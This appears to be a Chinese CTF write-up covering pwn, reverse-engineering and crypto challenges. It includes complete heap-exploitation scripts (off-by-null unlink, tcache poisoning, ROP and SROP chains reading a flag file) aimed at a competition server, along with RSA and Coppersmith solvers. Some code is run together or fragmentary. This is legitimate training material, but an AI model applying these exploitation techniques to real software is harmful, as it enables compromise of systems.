这里随机值一直碰撞不成功，撞了2个小时，只能说没有直接想到，我们可以直接time(0)+10，然后当我们碰撞运行，当时间变成time+10时，大概率就可以碰到，不行就多用几次 ## 5.DE_CAT ### 代码审计 main() 经典堆题 init_s() 不用看就知道了，要orw edit() 又是off_by_null ### 思路 先利用large chunk，泄露出来libc和heap的地址，再利用off_by_null，进行unlink，实现堆重叠，然后往environ位置上申请chunk，泄露出来stack地址，然后劫持add()的返回地址，实现控制执行流 ### exp: from pwn import*context(arch='i386', os='linux',log_level="debug")context.terminal=["wt.exe","wsl.exe"]# libc = ELF("../libc/")libc = ELF("./libc-so.6")"""""def xxx(): p.sendlineafter("") p.sendlineafter("") p.sendlineafter("")"""def get_p(name): global p,elf # p = process(name) p = remote("47.108.165.60",45244) elf = ELF(name)def add(size,content): p.sendlineafter("input your car choice >> ","1") p.sendlineafter("size:",str(size)) p.sendafter("content:",content)def edit(idx,content): p.sendlineafter("input your car choice >> ",'4') p.sendlineafter("idx:",str(idx)) p.sendafter("content:",content)def show(idx): p.sendlineafter("input your car choice >> ",'3') p.sendlineafter("idx:",str(idx))def dele(idx): p.sendlineafter("input your car choice >> ",'2') p.sendlineafter("idx:",str(idx))get_p("./CAT_DE")add(0x440,"AAA")add(0x88,"AAA")add(0x440,"AAAA")add(0x88,"AAA")dele(0)dele(2)add(0x450,"AAAA")add(0x440,"AAAAAAAA")add(0x440,"AAAAAAAA")show(4)libc.address = u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00")) - 0x21a000 - 0xe0envrion = libc.sym['environ']stdout = libc.sym['_IO_2_1_stdout_']print(hex(libc.address))p.recv(2)heap_addr = u64(p.recv(8)) - 0x290print(hex(heap_addr))for i in range(7): add(0xf8,"AAA")add(0x108,"AAA")add(0xf0,"AAAA")add(0x88,"AAA")for i in range(7): dele(i+5)target = heap_addr + 0x17c0ptr = heap_addr + 0xc60edit(0,p64(target))payload = p64(0) + p64(0x101) + p64(ptr-0x18) + p64(ptr - 0x10)payload = payload.ljust(0x100,b"\x00") + p64(0x100)edit(12,payload)dele(13)add(0xe8,"AAAA")add(0xe8,"AAAA")dele(5)dele(6)show(12)p.recvuntil("\xf1")p.recv(7)en_key = u64(p.recv(8))print("en_key ===> " + hex(en_key))key = u64(p.recv(8))print("key ===> " + hex(key))payload = p64(0)+p64(0xf1)+p64(en_key)+p64(key)payload = payload.ljust(0xf0,b"\x00") + p64(0) + p64(0xf1) + p64((heap_addr+0x10)^en_key)edit(12,payload)add(0xe8,"AAAA")add(0xe8,p64(0)*3+p64(0x0000000700010001)+p64(0)*24+p64(envrion-16))print(hex(stdout))add(0xd0,"A"*8)show(7)stack = u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00")) - 0x140 - 8print(hex(stack))edit(6,p64(0)*3+p64(0x0000000700010001)+p64(0)*24+p64(stack))pop_rdi = 0x000000000002a3e5 + libc.addresspop_rsi = 0x000000000002be51 + libc.addresspop_rdx_r12 = 0x000000000011f497 + libc.addressread_addr = libc.sym['read']open_addr = libc.sym['open']write_addr = libc.sym['write']orw = p64(pop_rdi) + p64(stack) + p64(pop_rsi) + p64(0) + p64(open_addr)orw += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(stack + 0x100) + p64(pop_rdx_r12) + p64(0x30) + p64(0) + p64(read_addr)orw += p64(pop_rdi) + p64(1) + p64(write_addr)add(0xd0,b"./flag".ljust(8,b"\x00")+orw)# gdb.attach(p,"b *free")p.interactive() 注意也是libc-2.35，利用不了hook。 或者脚本： #coding:utf-8 import sys from pwn import * from ctypes import CDLL context.log_level='debug' elfelf='./CAT_DE' #context.arch='amd64' while True : # try : elf=ELF(elfelf) context.arch=elf.arch gdb_text=''' telescope$rebase(0x202040) 16

b _IO_obstack_xsputn

'''

if len(sys.argv)==1 :

clibc=CDLL('/lib/x86_64-linux-gnu/libc.so.6')

io=process(elfelf)

gdb_open=1

clibc.srand(clibc.time(0))

libc=ELF('./libc.so.6')

# ld = ELF('/lib/x86_64-linux-gnu/ld.so.6')

else :

clibc=CDLL('/lib/x86_64-linux-gnu/libc.so.6')

io=remote('47.108.165.60',49429)

gdb_open=0

clibc.srand(clibc.time(0))

libc=ELF('./libc.so.6')

# ld = ELF('/lib/x86_64-linux-gnu/ld.so.6')

def gdb_attach(io,a):

if gdb_open==1 :

gdb.attach(io,a)

def choice(a):

io.sendlineafter(' >> \n',str(a))

choice(1)

io.sendlineafter('size:\n',str(a))

io.sendafter('content:\n',b)

def edit(a,b):

choice(4)

io.sendlineafter(':\n',str(a))

io.sendafter('content:\n',b)

def show(a):

choice(3)

io.sendlineafter(':\n',str(a))

def delete(a):

choice(2)

io.sendlineafter(':\n',str(a))

delete(0)

delete(2)

show(0)

io.recvuntil('context:\n')

io.recv(8)

heap_base=u64(io.recv(6)+'\x00\x00')&0xfffffffffffff000

show(2)

io.recvuntil('context:\n')

io.recv(8)

libc_base=u64(io.recvuntil('\x7f')[-6:]+'\x00\x00')-libc.sym['_IO_2_1_stdin_']-0x1e0-0x60

pop_rax_ret=libc.search(asm('pop rax;ret')).next()

pop_rdi_ret=libc.search(asm('pop rdi;ret')).next()

pop_rsi_ret=libc.search(asm('pop rsi;ret')).next()

pop_rdx_ret=libc.search(asm('pop rdx;ret')).next()

syscall_ret=libc.search(asm('syscall;ret')).next()

'mov rdx, rbx; mov rdi, r12; call qword ptr [rbp + 0x38];',

'mov rdx, r13; mov rsi, r12; mov rdi, r14; call qword ptr [rbx + 0x38];',

'mov rdx, r13; mov rsi, r10; call qword ptr [rbx + 0x38];',

'mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];',

'mov rdx, qword ptr [rbx + 0x40]; mov rdi, rbx; sub rdx, rsi; call qword ptr [rbp + 0x70];'

]

delete(3)

delete(2)

delete(1)

delete(0)

edit(0,p64(0)+p64(0x701)+p64(heap_base+0x2d0)*2+p64(heap_base+0x2a0)*0x10)

edit(2,'\x00'*0xf0+p64(0x700))

delete(3)

delete(4)

delete(1)

from FILE import *

context.arch='amd64'

IO=IO_FILE_plus_struct()

IO._IO_save_base=0x21 #size unuse

IO._chain=0x21 #size unuse

IO.vtable=libc.sym['_IO_file_jumps']-0x240

#libc.sym['_IO_obstack_jumps'] _IO_obstack_xsputn

pay=str(IO)[0x10:]

pay+='\x00'*0x8

#obstack struct

'''

struct obstack          /* control current object in current chunk */

{

long chunk_size;              /* preferred size to allocate chunks in */

struct _obstack_chunk *chunk; /* address of current struct obstack_chunk */

char *object_base;            /* address of object we are building */

char *next_free;              /* where to add next char to current object */

char *chunk_limit;            /* address of char after current chunk */

union

{

PTR_INT_TYPE tempint;

void *tempptr;

} temp;                       /* Temporary for some macros.  */

struct _obstack_chunk *(*chunkfun) (void *, long);

void (*freefun) (void *, struct _obstack_chunk *);

void *extra_arg;              /* first arg for chunk alloc/dealloc funcs */

unsigned use_extra_arg : 1;     /* chunk alloc/dealloc funcs take extra arg */

unsigned maybe_empty_object : 1; /* There is a possibility that the current

unsigned alloc_failed : 1;

};

'''

pay=pay.ljust(0x180,'\x00')

pay=pay.ljust(0x1f8,'\x00')

srop=SigreturnFrame()

srop.rdi=0

srop.rsi=0

srop.rdx=0x30

srop.rip=pop_rax_ret+1

pay+='./flag\x00\x00'

pay+=str(srop)[:0x20]

pay+=p64(libc.sym['setcontext']+61)

pay+=str(srop)[0x28:]

pay=pay.ljust(0x300,'\x00')

pay+=p64(pop_rax_ret)+p64(3)

pay+=p64(syscall_ret)

pay+=p64(pop_rsi_ret)+p64(0)

pay+=p64(pop_rax_ret)+p64(2)

pay+=p64(syscall_ret)

pay+=p64(pop_rax_ret)+p64(0)

pay+=p64(pop_rdi_ret)+p64(0)

pay+=p64(pop_rsi_ret)+p64(heap_base)

pay+=p64(syscall_ret)

pay+=p64(pop_rax_ret)+p64(1)

pay+=p64(pop_rdi_ret)+p64(1)

pay+=p64(pop_rsi_ret)+p64(heap_base)

pay+=p64(syscall_ret)

delete(2)

delete(3)

success('libc_base:'+hex(libc_base))

success('heap_base:'+hex(heap_base))

gdb_attach(io,gdb_text)

io.interactive()

# except Exception as e:

#   io.close()

#   continue

# else:

#   continue

## 1.ez_cpp

patch程序， 输出匹配的密文数量到exitcode。

.text:00413CFA                 jmp     short loc_413D19

.text:00413CFA ; ---------------------------------------------------------------------------

.text:00413D19 loc_413D19:                             ; CODE XREF: .text:00413CFA↑j

.text:00413D19                 push    ecx

.text:00413D1A                 nop

.text:00413D1B                 call    ds:__imp_exit

import string
import os
import time

table = string.ascii_letters+string.digits+'!-{}'
# table = string.printable
# 'SYC{Y3S-yE5-y0u-S0Ve-Th3-C9P!!!}'
theflag = ''
while len(theflag) < 32:
    for ch in table:
        flag = (theflag+ch).ljust(32, '#')
        exitcode = os.system(f"echo {flag} | ez_cpp3.exe 1>&0")
        if exitcode >= len(theflag) + 1:
            theflag += ch
            print(theflag, exitcode)
            break
    else:
        print('not found')
    time.sleep(0.1)

## 2.3D_Maze

dump迷宫地图

m = ['#', ' ', '2', '$', '3', '@', '5'] for level in range(6):  print('level', level)  for y in range(10):  line = ''  for x in range(10):  n = ida_bytes.get_dword(0x140005040+(level*100+y*10+x)*4)  line += m[n]  print(line) 手搓 level 0 跳 1-?-0 ## ####### ## #### ## ## # ## ## # ##### ## # *衔接1 wddwwdddddD ## # ##### ## *衔接1  ##4# ##### ###$######
###*######      w

level 5          可以跳回 0-9-3
###*######
### ######
### ######
### ######
### ######
##  ######
## #######
*  #######      ddwwdwwwwwW
##########
##########

level 1
##########
#    #####
# ##     *衔接2   dwwwdddsdddddD
# ########
* ########
##########
*    #####
##########
##########
##########

level 3       可以跳到5-7-0
##*#######    sssssssssS
## #######
## #  ####
##  ## ###
##  ######
##  ######
##  ## ###
## #  ####
## #######
##*#######

level 2       可以跳到4-0-9
*#########    wwW
 #########
*## # ###
## # # # #
## #### ##
### ### ##
#### ## ##
## # ## ##
### ### ##
##########

level 4          可以跳3-0-2
######## *  从2过来
######## #
*        #         assaaaaaaaaA
##########
##########
##########
##########
##########
##########
##########

00000000000111111111111112224444444444443333333333555555555550
wddwwdddddDdwwwdddsdddddDwwWassaaaaaaaaAsssssssssSddwwdwwwwwWw

snake：

import ctypes

from Crypto.Cipher import ARC4

from hashlib import md5

libc = ctypes.CDLL("ucrtbase.dll")

libc.srand.argtypes = [ctypes.c_uint]

libc.rand.restype = ctypes.c_int

srand = libc.srand

rand = libc.rand

srand(0x94307F97)

seed_list = []

for i in range(361):

seed_list.append(rand())

def enc(buf, size, seed):

srand(seed)

keysize = int(rand()*1.0/32767.0 * 256.0)

table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\x00'

pwd = ''

for i in range(keysize):

idx = int(rand()*1.0 / 32767.0 * 63.0)

pwd += table[idx]

cipher = ARC4.ARC4Cipher(pwd.encode())

xorstream = b'\x00'*size

xorstream = cipher.encrypt(xorstream)

outbuf = bytearray(buf)

for i in range(size):

outbuf[i] ^= xorstream[i]

return bytes(outbuf)

foods = []

for i in range(361):

srand(seed_list[i])

while 1:

y = rand() % 20

x = rand() % 20

if not (x == 0 or x == 19 or y == 0 or y == 19):

# print(i, y, x)

foods.append((y, x))

break

tmp = 0x92

data = b'\x02'

for i in range(2):

data += bytes([data[-1] ^ 0xBE])

# print(data.hex())

flag_data = data[:]

eat_count = 361 # 初始长度就是3, 但是要求吃361个 ???

for i in range(eat_count):

y, x = foods[i]

pos = y << 8 | x

data = enc(data, 3+i, pos)

# print(data.hex())

_tmp = tmp

# print(hex(tmp-1), hex(data[0]-1))

tmp = ((tmp-1) ^ (data[0]-1)) & 0xFF

flag_data = data[:]

data = data[::-1]

data += bytes([_tmp])

# print(hex(tmp))

s = flag_data.ljust(361, b'\x00').hex().encode()

print('flag_data', len(flag_data))

print('SYC{'+md5(s[:722]).hexdigest()+'}')

k='!This_program_cannot'
def Rc4_Encrypt(m,key):
s=[]
t=[]
out=[] #putput
for i in range(256):
s.append(i)
t.append(key[i%len(key)])

j=0
for i in range(256):
j=(j+s[i]+t[i])%256
s[i],s[j]=s[j],s[i]

i,j=0,0
for p in range(len(m)):
i=(i+1)%256
j=(j+s[i])%256

s[i],s[j]=s[j],s[i]

index=(s[i]+s[j])%256
out.append(s[index]^m[p])
print(bytes(out))

rck=[0x01, 0xE5, 0xD5, 0x40, 0xC3, 0xD5, 0x76, 0x36, 0xFE, 0x66, 0x2D, 0x05, 0xC9, 0xFB, 0x50, 0xE7]
enc=[0xDE, 0x1C, 0x22, 0x27, 0x1D, 0xAE, 0xAD, 0x65, 0xAD, 0xEF, 0x6E, 0x41, 0x4C, 0x34, 0x75, 0xF1, 0x16, 0x50, 0x50, 0xD4, 0x48, 0x69, 0x6D, 0x93, 0x36, 0x1C, 0x86, 0x3B, 0xBB, 0xD0, 0x4C, 0x91]
Rc4_Encrypt(enc,rck)

0129FE14  53 59 43 7B 54 68 31 73 5F 69 73 5F 40 5F 45 61  SYC{Th1s_is_@_Ea
0129FE24  73 59 5F 33 6E 63 72 79 70 74 4F 21 21 21 21 7D  sY_3ncryptO!!!!}

## 3.gowhere

from claripy import *
from libnum import *

tmp_flag = [BVS(f'flag{i}', 8) for i in range(30)]
# x_flag = b'111111111122222222223333333333'
# tmp_flag = [BVV(x_flag[i], 8) for i in range(30)]
flag = Concat(*tmp_flag)
unk = 9

def enc1():
    global unk
    unk += 1
    if unk & 1 == 0:
        for i in range(30):
            tmp_flag[i] = (unk+tmp_flag[i]) ^ 0x17

def enc2():
    global unk
    unk += 1
    tmp_flag[0] += 2
    tmp_flag[1] -= 28
    tmp_flag[2] ^= 0x47
    tmp_flag[3] += tmp_flag[4]
    tmp_flag[5] += 73
    tmp_flag[6] += 12
    tmp_flag[7] -= tmp_flag[8]
    tmp_flag[8] ^= 0x5A
    tmp_flag[9] ^= 0x22
    tmp_flag[10] += 20
    tmp_flag[12] -= 84
    tmp_flag[13] ^= 4
    tmp_flag[14] ^= 0x1C
    tmp_flag[17] -= 1
    tmp_flag[27] ^= 0x11
    tmp_flag[28] ^= 3

def enc3():
    global unk
    if unk % 3 == 2:
        v13 = 0
        v11 = 29
        while v13 < 15:
            tmp_flag[v13], tmp_flag[v11] = tmp_flag[v11], tmp_flag[v13]
            v13 += 1
            v11 -= 1
    unk += 1

solve = Solver()
for i in range(4):
    enc1()
    enc2()
    enc3()

print(hex(unk))

enc_flag = bytes.fromhex(
    '4D635D344309A2770ABFC9B3E96F797D7BE899904308BB990E2ED47B27B7')

for i in range(30):
    solve.add(enc_flag[i] == tmp_flag[i])

for k in solve.eval(flag, 2):
    print(n2s(k))

# b'SYC{I_h0pE_you_cAn_FInd_d4eam}'

#### 4.ezr3

main函数开头会修改内存中的数据，调试获取即可

unsigned int fin[36] = {
0x0003B148, 0x000D2CAE, 0x0003A1FB, 0x00044F40, 0x000472DE, 0x0000CCC0,
0x00001888, 0x00003B80,
0x000702F7, 0x000C745C, 0x000658E0, 0x000858D4, 0x0000D5BD, 0x00004860,
0x0014F410, 0x0002CB9F,
0x000321DB, 0x0014D534, 0x00025DA0, 0x0006898C, 0x00123D56, 0x00058E4D,
0x00050CF8, 0x00005D64,
0x000978BA, 0x0008F290, 0x0003B568, 0x00054696, 0x00094C12, 0x0001021F,
0x000DBACB, 0x00049680,
0x0002FABD, 0x000F2B58, 0x0012D23C, 0x0014AED3
};
unsigned long mul[36] = {
0x0000000000000D21, 0x000000000000009D, 0x000000000000094B,
0x00000000000003C9,
0x0000000000000C3F, 0x00000000000017E9,
0x000000000000130E, 0x0000000000000088,0x0000000000000486,
0x000000000000202F,
0x0000000000002230, 0x00000000000024B4,
0x00000000000008B1, 0x0000000000000A9F, 0x0000000000001AD2,
0x00000000000023EB,
0x0000000000000C7E, 0x000000000000042B,
0x00000000000005BF, 0x000000000000113C,0x0000000000000449,
0x0000000000001751,
0x0000000000000ACE, 0x0000000000001894,
0x000000000000208A, 0x0000000000000E82, 0x00000000000006BD,
0x0000000000000CEE,0x0000000000002386, 0x00000000000013D4, 0x0000000000000111,
0x0000000000000D1C,
0x000000000000238E, 0x0000000000001759, 0x000000000000012B,
0x000000000000214D
};
unsigned char flag[40] = { 0 };
unsigned long* a = &mul[18];
for (int i = 0; i < 36; i += 6) {
flag[i] = fin[i] / (*(a - 18));
flag[i + 1] = fin[i + 1] / (*(a - 12));
flag[i + 2] = fin[i + 2] / (*(a - 6));
flag[i + 3] = fin[i + 3] / (*(a));
flag[i + 4] = fin[i + 4] / (*(a + 6));
flag[i + 5] = fin[i + 5] / (*(a + 12));
a++;
}
int j = 0;
for (int i = 35; i >= 0; --i) {
flag[i] ^= flag[j++];
flag[i] = ((flag[i] >> 4) | (flag[i] << 4)) & 0xff;
}
printf("%s", flag);

## 1.signin

import gmpy2from Crypto.Util.number import long_to_bytes#求出data1，data2data3=1.42870767357206600351348423521722279489230609801270854618388981989800006431663026299563973511233193052826781891445323183272867949279044062899046090636843802841647378505716932999588c = continued_fraction(data3)print(c)alist = c.convergents()print(alist)for i in alist:    a = str(i).split('/')    if len(a) > 1 and gcd(int(a[0]), int(a[1])) == 1 and is_prime(int(a[0])) and is_prime(int(a[1])) and int(            a[0]).bit_length() == 256 and int(a[1]).bit_length() == 256:        print(a)        break#['97093002077798295469816641595207740909547364338742117628537014186754830773717', '67958620138887907577348085925738704755742144710390414146201367031822084270769']#解密leak得到p-qdata1=97093002077798295469816641595207740909547364338742117628537014186754830773717data2=67958620138887907577348085925738704755742144710390414146201367031822084270769leak=1788304673303043190942544050868817075702755835824147546758319150900404422381464556691646064734057970741082481134856415792519944511689269134494804602878628e=data1n=data1*data2phi = (data1-1) * (data2-1)d = gmpy2.invert(e,phi)p_q = gmpy2.powmod(leak,d,n)print(p_q)#求解p，qp_q=57684649402353527014234479338961992571416462151551812296301705975419997474236n=2793178738709511429126579729911044441751735205348276931463015018726535495726108249975831474632698367036712812378242422538856745788208640706670735195762517e = 65537c = 1046004343125860480395943301139616023280829254329678654725863063418699889673392326217271296276757045957276728032702540618505554297509654550216963442542837var("p,q")eq1= p-q ==p_qeq2= p*q ==nsol = solve([eq1,eq2], p, q)print(sol)p = 89050782851818876669770322556796705712770640993210984822169118425068336611139q = 31366133449465349655535843217834713141354178841659172525867412449648339136903phi = (q-1) * (p-1)d = gmpy2.invert(e,phi)m = gmpy2.powmod(c,d,n)-data2print(m)print(long_to_bytes(m))


data3 = 1.42870767357206600351348423521722279489230609801270854618388981989800006431663026299563973511233193052826781891445323183272867949279044062899046090636843802841647378505716932999588

c = continued_fraction(data3)
alist = c.convergents()

for i in alist:
    a = str(i).split('/')
    if len(a)>1 and gcd(int(a[0]),int(a[1])) == 1 and is_prime(int(a[0])) and is_prime(int(a[1])) and int(a[0]).bit_length()==256 and int(a[1]).bit_length()==256:
        print(a)
        break

data1 = int(a[0])
data2 = int(a[1])

c = 1046004343125860480395943301139616023280829254329678654725863063418699889673392326217271296276757045957276728032702540618505554297509654550216963442542837
n = 2793178738709511429126579729911044441751735205348276931463015018726535495726108249975831474632698367036712812378242422538856745788208640706670735195762517
leak = 1788304673303043190942544050868817075702755835824147546758319150900404422381464556691646064734057970741082481134856415792519944511689269134494804602878628

tmp = leak % data1
paq = sqrt(tmp**2 + 4*n)
phi = n - paq + 1

d = inverse_mod(65537, phi)
m = pow(c, d, n)
print(int(m - data2).to_bytes(50,'big'))
SYC{a00338c150aa3a5163dbf404100e6754}

## 2.crazyTreat

$$P=m^p \pmod {p*q*r} \\Q=m^q \pmod {p*q*r} \\R=m^R \pmod {p*q*r} \\   费马小定理：\\m^p=m \pmod p \\P=m+k1*p+k2*pqr=m+k3*p \\Q,R同理 \\\qquad\text{(1)}$$

$$P=m+k3*p\\Q=m+k4*q\\R=m+k5*r\\ 且： k_3p=P-M,k_4q=Q-m,k_5r=R-m\\ 所以： P*Q*R-m^3-m*(P-m)*(Q-m)-m^2*((P-m)+(Q-m))-(R-m)*m^2-m*((P-m)+(Q-m))*(R-m)\equiv 0 \pmod n\qquad\text{(2)}$$

脚本1：
from Crypto.Util.number import *import gmpy2 #coppersmithclown =  128259792862716016839189459678072057136816726330154776961595353705839428880480571473066446384217522987161777524953373380960754160008765782711874445778198828395697797884436326877471408867745183652189648661444125231444711655242478825995283559948683891100547458186394738621410655721556196774451473359271887941209trick =  13053422630763887754872929794631414002868675984142851995620494432706465523574529389771830464455212126838976863742628716168391373019631629866746550551576576n =  clownp =  trickpbits = 512kbits = 220p=p>>kbits<<kbitsPR.<x> = PolynomialRing(Zmod(n))f = x + px0 = f.small_roots(X=2^kbits, beta=0.4)p=p+int(x0[0])print(p)#构建关于m的多项式求解即可，m即为rn = 924936528644761261915490226270682878749572154775391302241867565751616615723850084742168094776229761548826664906020127037598880909798055174894996273670320006942669796769794827782190025101253693980249267932225152093301291975335342891074711919668098647971235568200490825183676601392038486178409517985098598981313504275523679007669267428032655295176395420598988902864122270470643591017567271923728446920345242491655440745259071163984046349191793076143578695363467259P = 569152976869063146023072907832518894975041333927991456910198999345700391220835009080679006115013808845384796762879536272124713177039235766835540634080670611913370463720348843789609330086898067623866793724806787825941048552075917807777474750280276411568158631295041513060119750713892787573668959642318994049493233526305607509996778047209856407800405714104373282610244944206314614906974275396096712817649817035559000245832673082730407216670764400076473183825246052Q = 600870923560313304359037202752076267074889238956345564584928427345594724253036201151726541881494799597966727749590645445697106549304014936202421316051605075583257261728145977582815350958084624689934980044727977015857381612608005101395808233778123605070134652480191762937123526142746130586645592869974342105683948971928881939489687280641660044194168473162316423173595720804934988042177232172212359550196783303829050288001473419477265817928976860640234279193511499R = 502270534450244040624190876542726461324819207575774341876202226485302007962848054723546499916482657212105671666772860609835378197021454344356764800459114299720311023006792483917490176845781998844884874288253284234081278890537021944687301051482181456494678641606747907823086751080399593576505166871905600539035162902145778102290387464751040045505938896117306913887015838631862800918222056118527252590990688099219298296427609455224159445193596547855684004680284030PR.<m> = PolynomialRing(Zmod(n))f = P*Q*R-m*m*m-m*(P-m)*(Q-m)-m*m*((P-m)+(Q-m))-(R-m)*m*m-m*((P-m)+(Q-m))*(R-m)f = f.monic()m = f.small_roots(X=2^280, beta=0.4)print(m)r=m#直接解密即可r=105960538296223496551922954965164644267919720177702173352061963871195469608683p=13053422630763887754872929794631414002868675984142851995620494432706465523574529389771830464531559991042565319610790540616696456104018890243275374098291711c =  10585127810518527980133202456076703601165893288538440737356392760427497657052118442676827132296111066880565679230142991175837099225733564144475217546829625689104025101922826124473967963669155549692317699759445354198622516852708572517609971149808872997711252940293211572610905564225770385218093601905012939143618159265562064340937330846997881816650140361013457891488134685547458725678949e = 65537n=p*rphi = (r-1) * (p-1)d = gmpy2.invert(e,phi)m = gmpy2.powmod(c,d,n)print(m)print(long_to_bytes(m))

c=10585127810518527980133202456076703601165893288538440737356392760427497657052118442676827132296111066880565679230142991175837099225733564144475217546829625689104025101922826124473967963669155549692317699759445354198622516852708572517609971149808872997711252940293211572610905564225770385218093601905012939143618159265562064340937330846997881816650140361013457891488134685547458725678949

clown =  128259792862716016839189459678072057136816726330154776961595353705839428880480571473066446384217522987161777524953373380960754160008765782711874445778198828395697797884436326877471408867745183652189648661444125231444711655242478825995283559948683891100547458186394738621410655721556196774451473359271887941209

trick =  13053422630763887754872929794631414002868675984142851995620494432706465523574529389771830464455212126838976863742628716168391373019631629866746550551576576

'''

len_bin=len(bin(trick)[2:])

high='11111001001110111100110011111101010101010101000011001011000101010010000100011011110111000011000101101111000110110001010111001101111110111100000111110011111001010100101001110111010001011011100111000100100000110101111101010011010001101111101001111111000111011001010101100000011110000100100010010010011100101'

high_len=len(high)

low_len=512-high_len

PR.<x> = PolynomialRing(Zmod(clown))

f = int(high,2)*2^low_len +x

x0 = f.small_roots(X=2^low_len, beta=0.4)[0]

#76347864203588455868161824448305083084387260376528823546715135

p=int(high,2)*2^low_len +x0

print(p)

'''

p=13053422630763887754872929794631414002868675984142851995620494432706465523574529389771830464531559991042565319610790540616696456104018890243275374098291711

q=clown//p

phi=(p-1)*(q-1)

from Crypto.Util.number import *

d=inverse(65537,phi)

print(long_to_bytes(pow(c,d,clown)))

clown =  128259792862716016839189459678072057136816726330154776961595353705839428880480571473066446384217522987161777524953373380960754160008765782711874445778198828395697797884436326877471408867745183652189648661444125231444711655242478825995283559948683891100547458186394738621410655721556196774451473359271887941209
trick =  13053422630763887754872929794631414002868675984142851995620494432706465523574529389771830464455212126838976863742628716168391373019631629866746550551576576

n = 924936528644761261915490226270682878749572154775391302241867565751616615723850084742168094776229761548826664906020127037598880909798055174894996273670320006942669796769794827782190025101253693980249267932225152093301291975335342891074711919668098647971235568200490825183676601392038486178409517985098598981313504275523679007669267428032655295176395420598988902864122270470643591017567271923728446920345242491655440745259071163984046349191793076143578695363467259
P = 569152976869063146023072907832518894975041333927991456910198999345700391220835009080679006115013808845384796762879536272124713177039235766835540634080670611913370463720348843789609330086898067623866793724806787825941048552075917807777474750280276411568158631295041513060119750713892787573668959642318994049493233526305607509996778047209856407800405714104373282610244944206314614906974275396096712817649817035559000245832673082730407216670764400076473183825246052
Q = 600870923560313304359037202752076267074889238956345564584928427345594724253036201151726541881494799597966727749590645445697106549304014936202421316051605075583257261728145977582815350958084624689934980044727977015857381612608005101395808233778123605070134652480191762937123526142746130586645592869974342105683948971928881939489687280641660044194168473162316423173595720804934988042177232172212359550196783303829050288001473419477265817928976860640234279193511499
R = 502270534450244040624190876542726461324819207575774341876202226485302007962848054723546499916482657212105671666772860609835378197021454344356764800459114299720311023006792483917490176845781998844884874288253284234081278890537021944687301051482181456494678641606747907823086751080399593576505166871905600539035162902145778102290387464751040045505938896117306913887015838631862800918222056118527252590990688099219298296427609455224159445193596547855684004680284030

c =  10585127810518527980133202456076703601165893288538440737356392760427497657052118442676827132296111066880565679230142991175837099225733564144475217546829625689104025101922826124473967963669155549692317699759445354198622516852708572517609971149808872997711252940293211572610905564225770385218093601905012939143618159265562064340937330846997881816650140361013457891488134685547458725678949

PR.<x>=Zmod(clown)[]
f=trick+x
for cut in range(1,256):
    r=f.small_roots(X=2^cut,beta=0.4)
    if r:
        r=a[0]
        break

p=GCD(ZZ(f(r)),clown)
q=clown//p

PR.<x>=Zmod(n)[]
f=(P-x)*(Q-x)*(R-x)
f=f.monic()
m=ZZ(f.small_roots(X=2^256)[0])

N =p*q*m
phi = (p-1)*(q-1)*(m-1)
e = 65537
d = inverse_mod(e,phi)
m = pow(c,d,N)
from Crypto.Util.number import *
print(long_to_bytes(ZZ(m)))

## 3.Alexei needs help

from random import randint

import gmpy2 as gp

from Crypto.Util.number import *

from Crypto.Cipher import AES

from hashlib import md5

from binascii import *

from tqdm import tqdm

a =  12760960185046114319373228302773710922517145043260117201359198182268919830481221094839217650474599663154368235126389153552714679678111020813518413419360215

b =  10117047970182219839870108944868089481578053385699469522500764052432603914922633010879926901213308115011559044643704414828518671345427553143525049573118673

m =  9088893209826896798482468360055954173455488051415730079879005756781031305351828789190798690556659137238815575046440957403444877123534779101093800357633817

seq =  [1588310287911121355041550418963977300431302853564488171559751334517653272107112155026823633337984299690660859399029380656951654033985636188802999069377064, 12201509401878255828464211106789096838991992385927387264891565300242745135291213238739979123473041322233985445125107691952543666330443810838167430143985860, 13376619124234470764612052954603198949430905457204165522422292371804501727674375468020101015195335437331689076325941077198426485127257539411369390533686339, 8963913870279026075472139673602507483490793452241693352240197914901107612381260534267649905715779887141315806523664366582632024200686272718817269720952005, 5845978735386799769835726908627375251246062617622967713843994083155787250786439545090925107952986366593934283981034147414438049040549092914282747883231052, 9415622412708314171894809425735959412573511070691940566563162947924893407832253049839851437576026604329005326363729310031275288755753545446611757793959050, 6073533057239906776821297586403415495053103690212026150115846770514859699981321449095801626405567742342670271634464614212515703417972317752161774065534410, 3437702861547590735844267250176519238293383000249830711901455900567420289208826126751013809630895097787153707874423814381309133723519107897969128258847626, 2014101658279165374487095121575610079891727865185371304620610778986379382402770631536432571479533106528757155632259040939977258173977096891411022595638738, 10762035186018188690203027733533410308197454736009656743236110996156272237959821985939293563176878272006006744403478220545074555281019946284069071498694967]

ct = 0x37dc072bdf4cdc7e9753914c20cbf0b55c20f03249bacf37c88f66b10b72e6e678940eecdb4c0be8466f68fdcd13bd81

n = 2023

def seqsum(i):

ans = 0

for j in range(len(seq)):

ans += gp.powmod(i, j, m) * seq[j]

return ans

def home1work(n):

if n == 1:

return 1

elif n == 2:

return 1

else:

previous, current = 1, 1

for i in tqdm(range(3, n + 1)):

previous, current = current, (a * current + b * previous + seqsum(i)) % m

return current

ans = home1work(n)

k = unhexlify(md5(str(ans).encode()).hexdigest())

aes = AES.new(k, AES.MODE_ECB)

#data = flag + (16 - len(flag) % 16) * b"\x00"

data=long_to_bytes(ct)

ct = aes.decrypt(data)

print(ct)

#b"c7ceedc7197a0d350025fff478f667293ebbaa6b'\x00\x00\x00\x00\x00\x00\x00"

memo = {}

import sys

sys.setrecursionlimit(100000)

import gmpy2 as gp

a = 12760960185046114319373228302773710922517145043260117201359198182268919830481221094839217650474599663154368235126389153552714679678111020813518413419360215

b = 10117047970182219839870108944868089481578053385699469522500764052432603914922633010879926901213308115011559044643704414828518671345427553143525049573118673

m = 9088893209826896798482468360055954173455488051415730079879005756781031305351828789190798690556659137238815575046440957403444877123534779101093800357633817

seq = [

1588310287911121355041550418963977300431302853564488171559751334517653272107112155026823633337984299690660859399029380656951654033985636188802999069377064,

12201509401878255828464211106789096838991992385927387264891565300242745135291213238739979123473041322233985445125107691952543666330443810838167430143985860,

13376619124234470764612052954603198949430905457204165522422292371804501727674375468020101015195335437331689076325941077198426485127257539411369390533686339,

